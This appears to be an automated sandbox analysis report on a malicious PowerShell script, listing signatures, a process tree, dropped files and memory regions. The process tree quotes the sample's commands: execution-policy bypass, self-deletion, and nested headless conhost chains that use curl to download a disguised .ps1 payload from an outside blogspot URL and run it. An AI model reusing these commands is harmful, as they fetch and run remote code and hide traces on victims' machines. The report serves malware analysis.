Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    26/08/2026, 19:43

General

  • Target
    09c1d5_daff71a617d44a4d97aabcc50297863b.ps1
  • Size 13KB
  • Sample260826-ye7ncavfmc
  • SHA256 41975fcd05b025d4802d06efb76035927b69373c9f52433355abf865aeea5f14
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Deletes itself 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • cURL User-Agent 2 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\09c1d5_daff71a617d44a4d97aabcc50297863b.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1864
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "Start-Sleep -Seconds 1; Remove-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\09c1d5_daff71a617d44a4d97aabcc50297863b.ps1' -Force -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Deletes itself
      • Suspicious behavior: EnumeratesProcesses
      PID:4544
  • C:\Windows\system32\conhost.exe
    "conhost.exe" --headless powershell.exe -noprofile -ep bYpAsS -FILE "C:\Users\Admin\AppData\Roaming\xfehm_3n1mi2z.ps1"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4436
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -noprofile -ep bYpAsS -FILE C:\Users\Admin\AppData\Roaming\xfehm_3n1mi2z.ps1
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:3324
  • C:\Windows\system32\conhost.exe
    "conhost.exe" conhost.exe conhost.exe conhost.exe conhost.exe --headless --headless conhost.exe conhost.exe conhost.exe --headless conhost.exe conhost.exe --headless --headless --headless curl -L https://augugst2026.blogspot.com//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////olp.sysphud.dudus.docx.pdf.olp.sysphud.dudusolp.sysphud.dudus.docx.pdf.olp.sysphud.sus.phuddi.phudda.mamma.tata.gif -o C:\Users\Admin\AppData\Roaming\xfehm_3n1mi2z.ps1
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1612
    • C:\Windows\system32\conhost.exe
      conhost.exe conhost.exe conhost.exe conhost.exe --headless --headless conhost.exe conhost.exe conhost.exe --headless conhost.exe conhost.exe --headless --headless --headless curl -L https://augugst2026.blogspot.com//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////olp.sysphud.dudus.docx.pdf.olp.sysphud.dudusolp.sysphud.dudus.docx.pdf.olp.sysphud.sus.phuddi.phudda.mamma.tata.gif -o C:\Users\Admin\AppData\Roaming\xfehm_3n1mi2z.ps1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4912
      • C:\Windows\system32\conhost.exe
        conhost.exe conhost.exe conhost.exe --headless --headless conhost.exe conhost.exe conhost.exe --headless conhost.exe conhost.exe --headless --headless --headless curl -L https://augugst2026.blogspot.com//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////olp.sysphud.dudus.docx.pdf.olp.sysphud.dudusolp.sysphud.dudus.docx.pdf.olp.sysphud.sus.phuddi.phudda.mamma.tata.gif -o C:\Users\Admin\AppData\Roaming\xfehm_3n1mi2z.ps1
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2516
        • C:\Windows\system32\conhost.exe
          conhost.exe conhost.exe --headless --headless conhost.exe conhost.exe conhost.exe --headless conhost.exe conhost.exe --headless --headless --headless curl -L https://augugst2026.blogspot.com//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////olp.sysphud.dudus.docx.pdf.olp.sysphud.dudusolp.sysphud.dudus.docx.pdf.olp.sysphud.sus.phuddi.phudda.mamma.tata.gif -o C:\Users\Admin\AppData\Roaming\xfehm_3n1mi2z.ps1
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3920
          • C:\Windows\system32\conhost.exe
            conhost.exe --headless --headless conhost.exe conhost.exe conhost.exe --headless conhost.exe conhost.exe --headless --headless --headless curl -L https://augugst2026.blogspot.com//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////olp.sysphud.dudus.docx.pdf.olp.sysphud.dudusolp.sysphud.dudus.docx.pdf.olp.sysphud.sus.phuddi.phudda.mamma.tata.gif -o C:\Users\Admin\AppData\Roaming\xfehm_3n1mi2z.ps1
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2616
            • C:\Windows\system32\conhost.exe
              conhost.exe conhost.exe conhost.exe --headless conhost.exe conhost.exe --headless --headless --headless curl -L https://augugst2026.blogspot.com//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////olp.sysphud.dudus.docx.pdf.olp.sysphud.dudusolp.sysphud.dudus.docx.pdf.olp.sysphud.sus.phuddi.phudda.mamma.tata.gif -o C:\Users\Admin\AppData\Roaming\xfehm_3n1mi2z.ps1
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:5184
              • C:\Windows\system32\conhost.exe
                conhost.exe conhost.exe --headless conhost.exe conhost.exe --headless --headless --headless curl -L https://augugst2026.blogspot.com//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////olp.sysphud.dudus.docx.pdf.olp.sysphud.dudusolp.sysphud.dudus.docx.pdf.olp.sysphud.sus.phuddi.phudda.mamma.tata.gif -o C:\Users\Admin\AppData\Roaming\xfehm_3n1mi2z.ps1
                7⤵
                • Suspicious use of WriteProcessMemory
                PID:1932
                • C:\Windows\system32\conhost.exe
                  conhost.exe --headless conhost.exe conhost.exe --headless --headless --headless curl -L https://augugst2026.blogspot.com//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////olp.sysphud.dudus.docx.pdf.olp.sysphud.dudusolp.sysphud.dudus.docx.pdf.olp.sysphud.sus.phuddi.phudda.mamma.tata.gif -o C:\Users\Admin\AppData\Roaming\xfehm_3n1mi2z.ps1
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2728
                  • C:\Windows\system32\conhost.exe
                    conhost.exe conhost.exe --headless --headless --headless curl -L https://augugst2026.blogspot.com//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////olp.sysphud.dudus.docx.pdf.olp.sysphud.dudusolp.sysphud.dudus.docx.pdf.olp.sysphud.sus.phuddi.phudda.mamma.tata.gif -o C:\Users\Admin\AppData\Roaming\xfehm_3n1mi2z.ps1
                    9⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2940
                    • C:\Windows\system32\conhost.exe
                      conhost.exe --headless --headless --headless curl -L https://augugst2026.blogspot.com//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////olp.sysphud.dudus.docx.pdf.olp.sysphud.dudusolp.sysphud.dudus.docx.pdf.olp.sysphud.sus.phuddi.phudda.mamma.tata.gif -o C:\Users\Admin\AppData\Roaming\xfehm_3n1mi2z.ps1
                      10⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4200
                      • C:\Windows\system32\curl.exe
                        curl -L https://augugst2026.blogspot.com//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////olp.sysphud.dudus.docx.pdf.olp.sysphud.dudusolp.sysphud.dudus.docx.pdf.olp.sysphud.sus.phuddi.phudda.mamma.tata.gif -o C:\Users\Admin\AppData\Roaming\xfehm_3n1mi2z.ps1
                        11⤵
                          PID:4424

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 2ae383b5c7b779e2dbeb0a4ca3ab01d70761b7446359882e2065ca53b1c222c5
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 64B
          • SHA256 a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
          • MD5 SHA1 SHA512

          __PSScriptPolicyTest_x4r54b15.zr4.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_x4r54b15.zr4.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/1864-10-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/1864-27-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/1864-7-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/1864-8-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/1864-9-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/1864-0-0x00007FFC6D72F000-0x00007FFC6D730000-memory.dmp

          memory/1864-11-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/1864-12-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/1864-16-0x000001D8E85B0000-0x000001D8E8662000-memory.dmp

          memory/1864-17-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/1864-18-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/1864-19-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/1864-20-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/1864-21-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/1864-6-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/1864-15-0x000001D8CFE90000-0x000001D8CFEAE000-memory.dmp

          memory/1864-22-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/1864-24-0x000001D8E8330000-0x000001D8E834E000-memory.dmp

          memory/1864-25-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/1864-23-0x000001D8CFE80000-0x000001D8CFE8A000-memory.dmp

          memory/1864-28-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/1864-5-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/1864-4-0x000001D8CFE40000-0x000001D8CFE62000-memory.dmp

          memory/1864-3-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/4544-33-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/4544-35-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/4544-36-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/4544-37-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp

          memory/4544-32-0x00007FFC6D5A0000-0x00007FFC6DF44000-memory.dmp